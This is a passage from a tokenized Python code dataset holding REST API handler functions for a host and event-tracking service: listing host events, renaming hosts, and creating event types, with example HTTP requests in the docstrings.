"_", "._", "quest_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "quest", "s_", "._", "append_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "id", "\"_", ":_", "labor", "_", "._", "quest_", "._", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "href", "\"_", ":_", "labor", "_", "._", "quest_", "._", "href_", "(_", "self_", "._", "href", "\\u", "prefix_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "json_", "[_", "\"", "labor", "s", "\"_", "]_", "=_", "labor", "s_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "json_", "[_", "\"", "quest", "s", "\"_", "]_", "=_", "quest", "s_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "We", " ", "will", " ", "perform", " ", "the", " ", "events", " ", "expansion", " ", "here", " ", "b", "/", "c", " ", "we", " ", "want", " ", "to", " ", "apply_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "limit", "s", " ", "and", " ", "offsets_", "\\u\\u\\uNL\\u\\u\\u_", "events_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "last", "\\u", "event_", "=_", "host_", "._", "get", "\\u", "late", "st", "\\u", "events_", "(_", ")_", "._", "first_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "event_", "in_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "host_", "._", "get", "\\u", "late", "st", "\\u", "events_", "(_", ")_", "._", "limit_", "(_", "limit_", ")_", "._", "offset_", "(_", "offset_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "._", "from", "\\u", "self_", "(_", ")_", "._", "order", "\\u", "by_", "(_", "Event_", "._", "timestamp_", ")_", "._", "all_", "(_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "\"", "events", "\"_", "in_", "expand_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "events_", "._", "append_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "event_", "._", "to", "\\u", "dict_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "base", "\\u", "uri_", "=_", "self_", "._", "href", "\\u", "prefix_", ",_", "expand_", "=_", "set_", "(_", "expand_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "events_", "._", "append_", "(_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "id", "\"_", ":_", "event_", "._", "id_", ",_", "\"", "href", "\"_", ":_", "event_", "._", "href_", "(_", "self_", "._", "href", "\\u", "prefix_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "last", "\\u", "event_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "json_", "[_", "\"", "last", "Event", "\"_", "]_", "=_", "str_", "(_", "last", "\\u", "event_", "._", "timestamp_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "json_", "[_", "\"", "last", "Event", "\"_", "]_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "json_", "[_", "\"", "events", "\"_", "]_", "=_", "events_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "success_", "(_", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Host", "Handler_", "(_", "Ap", "i", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "put_", "(_", "self_", ",_", "hostname_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "**", "Update", " ", "a", " ", "Host", "**", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "**", "Exam", "ple", " ", "Request", ":*", "*", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "source", "code", "::", " ", "http", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "PU", "T", " ", "/", "api", "/", "v1", "/", "host", "s", "/", "example", " ", "HTTP", "/", "1.1", "\\", "10", ";", " ", " ", " ", " ", "Host", ":", " ", "local", "host", "\\", "10", ";", " ", " ", " ", " ", "Conten", "t", "-", "Type", ":", " ", "applica", "tion", "/", "json", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "host", "name", "\":", " ", "\"", "newn", "ame", "\",", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "**", "Exam", "ple", " ", "response", ":*", "*", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "source", "code", "::", " ", "http", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "HTTP", "/", "1.1", " ", "200", " ", "OK", "\\", "10", ";", " ", " ", " ", " ", "Conten", "t", "-", "Type", ":", " ", "applica", "tion", "/", "json", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "status", "\":", " ", "\"", "ok", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "id", "\":", " ", "1", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "href", "\":", " ", "\"/", "api", "/", "v1", "/", "host", "s", "/", "example", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "host", "name", "\":", " ", "\"", "newn", "ame", "\",", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "host", "name", ":", " ", "host", "name", " ", "of", " ", "the", " ", "Host", " ", "tha", "t", " ", "shou", "ld", " ", "be", " ", "update", "d", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "type", " ", "host", "name", ":", " ", "string", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "req", "json", " ", "string", " ", "host", "name", ":", " ", "The", " ", "new", " ", "host", "name", " ", "of", " ", "the", " ", "Host", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "req", "header", " ", "Conten", "t", "-", "Type", ":", " ", "The", " ", "server", " ", "expect", "s", " ", "a", " ", "json", " ", "body", " ", "specified", " ", "with", "\\", "10", ";", " ", " ", " ", " ", " ", " ", " ", "this", " ", "header", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "200", ":", " ", "The", " ", "request", " ", "was", " ", "success", "ful", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "400", ":", " ", "The", " ", "request", " ", "was", " ", "mal", "formed", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "401", ":", " ", "The", " ", "request", " ", "was", " ", "made", " ", "with", "out", " ", "bei", "ng", " ", "logged", " ", "in", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "403", ":", " ", "The", " ", "request", " ", "was", " ", "made", " ", "with", " ", "insuf", "ficient", " ", "permissi", "ons", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "404", ":", " ", "The", " ", "Host", " ", "at", " ", "host", "name", " ", "was", " ", "not", " ", "found", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "409", ":", " ", "There", " ", "was", " ", "a", " ", "confl", "ict", " ", "with", " ", "anot", "her", " ", "resource", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "log_", "._", "info_", "(_", "\"", "HO", "S", ":", " ", "Update", " ", "{}\"_", "._", "format_", "(_", "hostname_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "host_", "=_", "self_", "._", "session_", "._", "query_", "(_", "Host_", ")_", "._", "filter", "\\u", "by_", "(_", "hostname_", "=_", "hostname_", ")_", "._", "scalar_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "host_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "._", "Not", "Found_", "(_", "\"", "No", " ", "suc", "h", " ", "Host", " ", "{}", " ", "found", "\"_", "._", "format_", "(_", "hostname_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "new", "\\u", "hostname_", "=_", "self_", "._", "jbo", "dy_", "[_", "\"", "host", "name", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Key", "Error_", "as_", "err_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "._", "Ba", "d", "Request_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Missing", " ", "Requ", "ired", " ", "Arg", "ument", ":", " ", "{}\"_", "._", "format_", "(_", "err_", "._", "message_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "host_", "=_", "host_", "._", "update", "\\u", "name_", "(_", "new", "\\u", "hostname_", ")_", ";_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "json_", "=_", "host_", "._", "to", "\\u", "dict_", "(_", "self_", "._", "href", "\\u", "prefix_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "success_", "(_", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "log_", "._", "info_", "(_", "\"", "HOST", ":", " ", "Rename", "d", " ", "{}", " ", "to", " ", "{}\"_", "._", "format_", "(_", "hostname_", ",_", "new", "\\u", "hostname_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Host", "Handler_", "(_", "Ap", "i", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "delete_", "(_", "self_", ",_", "hostname_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "**", "Delete", " ", "a", " ", "Host", "**", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "*", "Not", " ", "support", "ed", "*", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "not", "\\u", "supported_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Event", "Type", "s", "Handler_", "(_", "Ap", "i", "Handler_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Event", "Type", "s", "Handler_", "(_", "Ap", "i", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "post_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "**", "Creat", "e", " ", "a", " ", "Event", "Type", " ", "entry", "**", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "**", "Exam", "ple", " ", "Request", ":*", "*", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "source", "code", "::", " ", "http", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "POST", " ", "/", "api", "/", "v1", "/", "event", "types", " ", "HTTP", "/", "1.1", "\\", "10", ";", " ", " ", " ", " ", "Host", ":", " ", "local", "host", "\\", "10", ";", " ", " ", " ", " ", "Conten", "t", "-", "Type", ":", " ", "applica", "tion", "/", "json", "\\", "10", ";", " ", " ", " ", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "category", "\":", " ", "\"", "system", "-", "rebo", "ot", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "state", "\":", " ", "\"", "require", "d", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "description", "\":", " ", "\"", "System", " ", "require", "s", " ", "a", " ", "rebo", "ot", ".\",", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "or", ":", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "source", "code", "::", " ", "http", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "event", "Type", "s", "\":", " ", "[", "\\", "10", ";", " ", " ", "{", "\\", "10", ";", " ", " ", "\"", "category", "\":", " ", "\"", "foo", "\",", "\\", "10", ";", " ", " ", "\"", "state", "\":", " ", "\"", "bar", "\",", "\\", "10", ";", " ", " ", "\"", "description", "\":", " ", "\"", "Some", " ", "description", "\"", "\\", "10", ";", "\\", "10", ";", " ", " ", "},", "\\", "10", ";", " ", " ", "{", "\\", "10", ";", " ", " ", "\"", "category", "\":", " ", "\"", "foo", "\",", "\\", "10", ";", " ", " ", "\"", "state", "\":", " ", "\"", "ba", "z", "\",", "\\", "10", ";", " ", " ", "\"", "description", "\":", " ", "\"", "Some", " ", "description", "\",", "\\", "10", ";", " ", " ", " ", "\"", "restrict", "ed", "\":", " ", "true", ",", "\\", "10", ";", " ", " ", "},", "\\", "10", ";", " ", " ", "{", "\\", "10", ";", " ", " ", "\"", "category", "\":", " ", "\"", "tang", "o", "\",", "\\", "10", ";", " ", " ", "\"", "state", "\":", " ", "\"", "fox", "tro", "t", "\",", "\\", "10", ";", " ", " ", "\"", "description", "\":", " ", "\"", "Some", " ", "description", "\"", "\\", "10", ";", " ", " ", "}", "\\", "10", ";", " ", " ", " ", " ", "]", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "**", "Exam", "ple", " ", "response", ":*", "*", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "source", "code", "::", " ", "http", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "HTTP", "/", "1.1", " ", "201", " ", "OK", "\\", "10", ";", " ", " ", " ", " ", "Locat", "ion", ":", " ", "/", "api", "/", "v1", "/", "event", "types", "/", "1", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "status", "\":", " ", "\"", "created", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "id", "\":", " ", "1", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "category", "\":", " ", "\"", "system", "-", "rebo", "ot", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "state", "\":", " ", "\"", "require", "d", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "description", "\":", " ", "\"", "System", " ", "require", "s", " ", "a", " ", "rebo", "ot", ".\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "restrict", "ed", "\":", " ", "fal", "se", ",", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "or", ":", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "source", "code", "::", " ", "http", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "status", "\":", " ", "\"", "created", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "event", "Type", "s", "\":", "\\", "10", ";", " ", " ", " ", " ", "[", "\\", "10", ";", " ", " ", "{", "\\", "10", ";", " ", " ", "\"", "category", "\":", " ", "\"", "foo", "\",", "\\", "10", ";", " ", " ", "\"", "state", "\":", " ", "\"", "bar", "\",", "\\", "10", ";", " ", " ", "\"", "href", "\":", " ", "\"/", "api", "/", "v1", "/", "event", "types", "/", "7", "\",", "\\", "10", ";", " ", " ", "\"", "id", "\":", " ", "7", ",", "\\", "10", ";", " ", " ", "\"", "description", "\":", " ", "\"", "Some", " ", "description", "\",", "\\", "10", ";", " ", " ", "\"", "restrict", "ed", "\":", " ", "fal", "se", ",", "\\", "10", ";", " ", " ", "},", "\\", "10", ";", " ", " ", "{", "\\", "10", ";", " ", " ", "\"", "category", "\":", " ", "\"", "foo", "\",", "\\", "10", ";", " ", " ", "\"", "state", "\":", " ", "\"", "ba", "z", "\",", "\\", "10", ";", " ", " ", "\"", "href", "\":", " ", "\"/", "api", "/", "v1", "/", "event", "types", "/", "8", "\",", "\\", "10", ";", " ", " ", "\"", "id", "\":", " ", "8", ",", "\\", "10", ";", " ", " ", "\"", "description", "\":", " ", "\"", "Some", " ", "description", "\",", "\\", "10", ";", " ", " ", "\"", "restrict", "ed", "\":", " ", "true", ",", "\\", "10", ";", " ", " ", "},", "\\", "10", ";", " ", " ", "{", "\\", "10", ";", " ", " ", "\"", "category", "\":", " ", "\"", "tang", "o", "\",", "\\", "10", ";", " ", " ", "\"", "state", "\":", " ", "\"", "fox", "tro", "t", "\",", "\\", "10", ";", " ", " ", "\"", "href", "\":", " ", "\"/", "api", "/", "v1", "/", "event", "types", "/", "9", "\",", "\\", "10", ";", " ", " ", "\"", "id", "\":", " ", "9", ",", "\\", "10", ";", " ", " ", "\"", "description", "\":", " ", "\"", "Some", " ", "description", "\",", "\\", "10", ";", " ", " ", "\"", "restrict", "ed", "\":", " ", "fal", "se", ",", "\\", "10", ";", " ", " ", "}", "\\", "10", ";", " ", " ", " ", " ", "],", "\\", "10", ";", " ", " ", " ", " ", "\"", "total", "Event", "Type", "s", "\":", " ", "3", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "req", "json", " ", "string", " ", "category", ":", " ", "The", " ", "category", " ", "value", " ", "of", " ", "the", " ", "Event", "Type", "\\", "10", ";", " ", " ", " ", " ", ":", "reg", "json", " ", "string", " ", "state", ":", " ", "The", " ", "state", " ", "value", " ", "of", " ", "the", " ", "Event", "Type", "\\", "10", ";", " ", " ", " ", " ", ":", "reg", "json", " ", "string", " ", "description", ":", " ", "The", " ", "human", " ", "reada", "ble", " ", "description", " ", "of", " ", "the", " ", "Event", "Type", "\\", "10", ";", " ", " ", " ", " ", ":", "reg", "json", " ", "boolean", " ", "restrict", "ed", ":", " ", "(*", "option", "al", "*)", " ", "If", " ", "true", ",", " ", "the", " ", "Event", "Type", "\\", "10", ";", " ", " ", " ", " ", " ", " ", "created", " ", "will", " ", "be", " ", "restrict", "ed", " ", "suc", "h", " ", "tha", "t", "\\", "10", ";", " ", " ", " ", " ", " ", " ", "only", " ", "direct", " ", "API", " ", "calls", " ", "can", " ", "throw", " ", "events", " ", "of", "\\", "10", ";", " ", " ", " ", " ", " ", " ", "tha", "t", " ", "type", " ", "(", "and", " ", "the", " ", "CLI", "/", "Web", "GU", "I", " ", "wou", "ld", " ", "refuse", ")", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "req", "header", " ", "Conten", "t", "-", "Type", ":", " ", "The", " ", "server", " ", "expect", "s", " ", "a", " ", "json", " ", "body", " ", "specified", " ", "with", "\\", "10", ";", " ", " ", " ", " ", " ", " ", " ", "this", " ", "header", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "resh", "eader", " ", "Locat", "ion", ":", " ", "URL", " ", "to", " ", "the", " ", "created", " ", "resource", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "201", ":", " ", "The", " ", "site", " ", "was", " ", "success", "full", "y", " ", "created", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "400", ":", " ", "The", " ", "request", " ", "was", " ", "mal", "formed", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "401", ":", " ", "The", " ", "request", " ", "was", " ", "made", " ", "with", "out", " ", "bei", "ng", " ", "logged", " ", "in", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "409", ":", " ", "There", " ", "was", " ", "a", " ", "confl", "ict", " ", "with", " ", "anot", "her", " ", "resource", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "\"", "event", "Type", "s", "\"_", "in_", "self_", "._", "jbo", "dy_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "event", "\\u", "types_", "=_", "self_", "._", "jbo", "dy_", "[_", "\"", "event", "Type", "s", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "event", "\\u", "types_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "category", "\"_", ":_", "self_", "._", "jbo", "dy_", "[_", "\"", "category", "\"_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "state", "\"_", ":_", "self_", "._", "jbo", "dy_", "[_", "\"", "state", "\"_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "description", "\"_", ":_", "self_", "._", "jbo", "dy_", "[_", "\"", "description", "\"_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "restrict", "ed", "\"_", ":_", "self_", "._", "jbo", "dy_", "._", "get_", "(_", "\"", "restrict", "ed", "\"_", ",_", "False_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Key", "Error_", "as_", "err_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "._", "Ba", "d", "Request_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Missing", " ", "Requ", "ired", " ", "Arg", "ument", ":", " ", "{}\"_", "._", "format_", "(_", "err_", "._", "message_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Value", "Error_", "as_", "err_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "._", "Ba", "d", "Request_", "(_", "err_", "._", "message_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "log_", "._", "info_", "(_", "\"", "EVENT", "TYPE", ":", " ", "Creat", "ing", " ", "{}\"_", "._", "format_", "(_", "\",", " ", "\"_", "._", "join_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "\"{}", " ", "{}\"_", "._", "format_", "(_", "event", "\\u", "type_", "[_", "'", "category", "'_", "]_", ",_", "event", "\\u", "type_", "[_", "'", "state", "'_", "]_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "event", "\\u", "type_", "in_", "event", "\\u", "types_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "created", "\\u", "types_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "x_", "in_", "range_", "(_", "0_", ",_", "len_", "(_", "event", "\\u", "types_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "created", "\\u", "type_", "=_", "Event", "Type_", "._", "create_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "session_", ",_", "event", "\\u", "types_", "[_", "x_", "]_", "[_", "\"", "category", "\"_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "event", "\\u", "types_", "[_", "x_", "]_", "[_", "\"", "state", "\"_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "description_", "=_", "event", "\\u", "types_", "[_", "x_", "]_", "[_", "\"", "description", "\"_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "restricted_", "=_", "event", "\\u", "types_", "[_", "x_", "]_", "._", "get_", "(_", "\"", "restrict", "ed", "\"_", ",_", "False_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "created", "\\u", "types_", "._", "append_", "(_", "created", "\\u", "type_", "._", "to", "\\u", "dict_", "(_", "self_", "._", "href", "\\u", "prefix_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Int", "egr", "it", "y", "Error_", "as_", "err_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "\"", "Duplicate", "\"_", "in_", "err_", "._", "message_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "._", "Conflict_", "(_", "\"", "Cann", "ot", " ", "create", " ", "duplicat", "e", " ", "event", " ", "type", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "._", "Conflict_", "(_", "err_", "._", "message_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "exc_", "._", "Validat", "ion", "Error_", "as_", "err_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "._", "Ba", "d", "Request_", "(_", "err_", "._", "message_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "session_", "._", "commit_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "len_", "(_", "created", "\\u", "types_", ")_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "json_", "=_", "created", "\\u", "types_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "created_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"/", "api", "/", "v1", "/", "event", "types", "/{}\"_", "._", "format_", "(_", "created", "\\u", "types_", "[_", "0_", 